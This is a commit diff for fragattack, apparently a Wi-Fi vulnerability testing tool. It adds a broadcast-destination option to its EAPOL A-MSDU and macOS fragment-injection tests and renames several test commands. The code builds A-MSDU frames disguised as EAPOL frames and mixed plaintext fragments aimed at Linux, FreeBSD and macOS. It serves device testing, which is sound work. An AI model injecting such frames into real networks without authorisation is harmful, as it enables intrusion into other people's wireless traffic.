fragattack: perform eapol-amsdu test against AP without tcpdump

This commit is contained in:
Mathy 2020-06-07 08:08:04 -04:00 committed by Mathy Vanhoef
parent 95f5203446
commit b93e980af6
3 changed files with 49 additions and 19 deletions

View File

@ -190,12 +190,12 @@ and the other tests are useful to understand the behaviour of the device under t
| | ping I,P | Send a plaintext ping. | | ping I,P | Send a plaintext ping.
| | ping I,P,P | Send a fragmented ping: both fragments are sent in plaintext. | | ping I,P,P | Send a fragmented ping: both fragments are sent in plaintext.
| **Linux Plain/Enc** | linux-plain | Mixed plaintext/encrypted fragmentation attack specific to Linux. | **Linux Plain/Enc** | linux-plain | Mixed plaintext/encrypted fragmentation attack specific to Linux.
| **EAPOL A-MSDU** | eapol-msdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable. | **EAPOL A-MSDU** | eapol-amsdu BB | Send A-MSDU frame disguised as EAPOL frame. Run tcpdump on target to check if vulnerable.
| | eapol-msdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. | | eapol-amsdu I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
| | eapol-msdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable. | | eapol-amsdu M,BB | Send a malformed A-MSDU frame disguised as EAPOL frame. Use tcpdump to check if vulnerable.
| | eapol-msdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP. | | eapol-amsdu M,I,CC | Same as above, except the frame is injected after being connected and obtaining an IP.
| **MacOS Plain Inject** | macos BB | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable. | **MacOS Plain Inject** | macos BB | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable.
| **Broadcast ping** | ping I,D,P --bcast | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent). | **Broadcast ping** | ping I,D,P --bcast-ra | Send ping inside the second plaintext fragment of a broadcast Wi-Fi frame (no 1st fragment is sent).
Optionally you can also run more advanced tests. These have a lower chance of uncovering vulnerabilities, Optionally you can also run more advanced tests. These have a lower chance of uncovering vulnerabilities,
but against more exotic implementations that might work (while the above tests could fail). but against more exotic implementations that might work (while the above tests could fail).
@ -209,11 +209,13 @@ but against more exotic implementations that might work (while the above tests c
| | ping I,R,BE,AE --freebsd | Mixed key attack against FreeBSD | | ping I,R,BE,AE --freebsd | Mixed key attack against FreeBSD
| **Mixed Plain/Enc** | ping I,E,P,E | Send a fragmented ping: first fragment encrypted, second plaintext, third encrypted. | **Mixed Plain/Enc** | ping I,E,P,E | Send a fragmented ping: first fragment encrypted, second plaintext, third encrypted.
| | linux-plain 3 | Mixed plaintext/encrypted fragmentation attack, decoy fragment is sent using QoS TID 3. | | linux-plain 3 | Mixed plaintext/encrypted fragmentation attack, decoy fragment is sent using QoS TID 3.
| **EAPOL A-MSDU** | eapol-msdu SS | | **EAPOL A-MSDU** | eapol-amsdu [M,]BB --bcast-dst | Same as "eapol-amsdu [M,]BB" but ping is broadcasted. To test AP, check if a 2nd client receives the ping.
| | eapol-msdu AA | | | eapol-amsdu [M,]I,CC --bcast-dst| Same as "eapol-amsdu [M,]I,CC" but ping is broadcasted. To test AP, check if a 2nd client receives the ping.
| | eapol-amsdu SS |
| | eapol-amsdu AA |
| **MacOS Plain Inject** | macos CC | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable. | **MacOS Plain Inject** | macos CC | Fragmented EAPOL attack (notably works against MacOS). Run tcpdump on target to check if vulnerable.
| **Broadcast ping** | ping I,P,P --bcast | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame. | **Broadcast ping** | ping I,P,P --bcast-ra | Send ping inside two plaintext fragments of a broadcast Wi-Fi frame.
| | ping I,P --bcast | Send ping inside a plaintext broadcast Wi-Fi frame. | | ping I,P --bcast-ra | Send ping inside a plaintext broadcast Wi-Fi frame.
Details remarks: Details remarks:

View File

@ -99,7 +99,7 @@ def prepare_tests(opt):
actions = [Action(Action.StartAuth, enc=False), actions = [Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)] Action(Action.StartAuth, enc=False)]
test = EapolAmsduTest(REQ_ICMP, actions, freebsd) test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt)
elif opt.testname == "linux-plain": elif opt.testname == "linux-plain":
decoy_tid = None if stractions == None else int(stractions) decoy_tid = None if stractions == None else int(stractions)
@ -112,7 +112,7 @@ def prepare_tests(opt):
actions = [Action(Action.StartAuth, enc=False), actions = [Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)] Action(Action.StartAuth, enc=False)]
test = MacOsTest(REQ_ICMP, actions) test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst)
elif opt.testname == "qca-test": elif opt.testname == "qca-test":
test = QcaDriverTest() test = QcaDriverTest()
@ -212,7 +212,8 @@ if __name__ == "__main__":
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.") parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.") parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.")
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.") parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).") parser.add_argument('--bcast-ra', default=False, action='store_true', help="Send pings using broadcast *receiver* address (= addr1).")
parser.add_argument('--bcast-dst', default=False, action='store_true', help="Send pings using broadcast *destination* when to AP ().")
parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.") parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.")
parser.add_argument('--freebsd-cache', default=False, action='store_true', help="Sent EAP(OL) frames as (malformed) broadcast EAPOL/A-MSDUs.") parser.add_argument('--freebsd-cache', default=False, action='store_true', help="Sent EAP(OL) frames as (malformed) broadcast EAPOL/A-MSDUs.")
parser.add_argument('--connected-delay', type=int, default=1, help="Second to wait after AfterAuth before triggering Connected event") parser.add_argument('--connected-delay', type=int, default=1, help="Second to wait after AfterAuth before triggering Connected event")

View File

@ -6,7 +6,8 @@ class PingTest(Test):
self.ptype = ptype self.ptype = ptype
self.separate_with = separate_with self.separate_with = separate_with
self.bcast = False if opt == None else opt.bcast self.bcast_ra = False if opt == None else opt.bcast_ra
self.bcast_dst = False if opt == None else opt.bcast_dst
self.as_msdu = False if opt == None else opt.as_msdu self.as_msdu = False if opt == None else opt.as_msdu
self.icmp_size = None if opt == None else opt.icmp_size self.icmp_size = None if opt == None else opt.icmp_size
self.padding = None if opt == None else opt.padding self.padding = None if opt == None else opt.padding
@ -44,8 +45,13 @@ class PingTest(Test):
# Assign frames to the existing fragment objects # Assign frames to the existing fragment objects
for frag, frame in zip(self.get_actions(Action.Inject), frames): for frag, frame in zip(self.get_actions(Action.Inject), frames):
if self.bcast: if self.bcast_ra:
frame.addr1 = "ff:ff:ff:ff:ff:ff" frame.addr1 = "ff:ff:ff:ff:ff:ff"
if self.bcast_dst:
if header.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
frame.addr3 = "ff:ff:ff:ff:ff:ff"
else:
frame.addr1 = "ff:ff:ff:ff:ff:ff"
# Assign fragment numbers according to MetaDrop rules # Assign fragment numbers according to MetaDrop rules
frame.SC = (frame.SC & 0xfff0) | fragnums.pop(0) frame.SC = (frame.SC & 0xfff0) | fragnums.pop(0)
@ -127,9 +133,10 @@ class MacOsTest(Test):
""" """
See docs/macoxs-reversing.md for background on the attack. See docs/macoxs-reversing.md for background on the attack.
""" """
def __init__(self, ptype, actions): def __init__(self, ptype, actions, bcast_dst):
super().__init__(actions) super().__init__(actions)
self.ptype = ptype self.ptype = ptype
self.bcast_dst = bcast_dst
def prepare(self, station): def prepare(self, station):
# First fragment is the start of an EAPOL frame # First fragment is the start of an EAPOL frame
@ -146,6 +153,12 @@ class MacOsTest(Test):
frag2.SC |= 1 frag2.SC |= 1
frag2.addr1 = "ff:ff:ff:ff:ff:ff" frag2.addr1 = "ff:ff:ff:ff:ff:ff"
# Practically all APs will not process frames with a broadcast receiver address, unless
# they are operating in client mode. But to test APs without tcpdump anyway, allow the
# ping to be send to a broadcast destination, so other STAs can monitor for it.
if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
frag2.addr3 = "ff:ff:ff:ff:ff:ff"
self.actions[0].frame = frag1 self.actions[0].frame = frag1
self.actions[1].frame = frag2 self.actions[1].frame = frag2
@ -175,10 +188,11 @@ class EapolTest(Test):
class EapolAmsduTest(Test): class EapolAmsduTest(Test):
def __init__(self, ptype, actions, freebsd=False): def __init__(self, ptype, actions, freebsd=False, opt=None):
super().__init__(actions) super().__init__(actions)
self.ptype = ptype self.ptype = ptype
self.freebsd = freebsd self.freebsd = freebsd
self.bcast_dst = False if opt == None else opt.bcast_dst
def prepare(self, station): def prepare(self, station):
log(STATUS, "Generating ping test", color="green") log(STATUS, "Generating ping test", color="green")
@ -190,14 +204,27 @@ class EapolAmsduTest(Test):
# Testing # Testing
#header.addr2 = "00:11:22:33:44:55" #header.addr2 = "00:11:22:33:44:55"
mac_src = station.mac
mac_dst = station.get_peermac()
if self.bcast_dst:
mac_dst = "ff:ff:ff:ff:ff:ff"
# Masquerade A-MSDU frame as an EAPOL frame # Masquerade A-MSDU frame as an EAPOL frame
if self.freebsd: if self.freebsd:
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid") log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid")
request = freebsd_create_eapolmsdu(station.mac, station.get_peermac(), request) request = freebsd_create_eapolmsdu(mac_src, mac_dst, request)
else: else:
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(station.mac, station.get_peermac(), request) request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request)
frames = create_fragments(header, request, 1) frames = create_fragments(header, request, 1)
toinject = frames[0]
# Make sure addr1/3 matches the destination address in the A-MSDU subframe(s)
if self.bcast_dst:
if toinject.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
toinject.addr3 = "ff:ff:ff:ff:ff:ff"
else:
toinject.addr1 = "ff:ff:ff:ff:ff:ff"
# XXX Where was this needed again? # XXX Where was this needed again?
auth = Dot11()/Dot11Auth(status=0, seqnum=1) auth = Dot11()/Dot11Auth(status=0, seqnum=1)
@ -205,6 +232,6 @@ class EapolAmsduTest(Test):
auth.addr2 = "00:11:22:33:44:55" auth.addr2 = "00:11:22:33:44:55"
self.actions[0].frame = auth self.actions[0].frame = auth
self.actions[1].frame = frames[0] self.actions[1].frame = toinject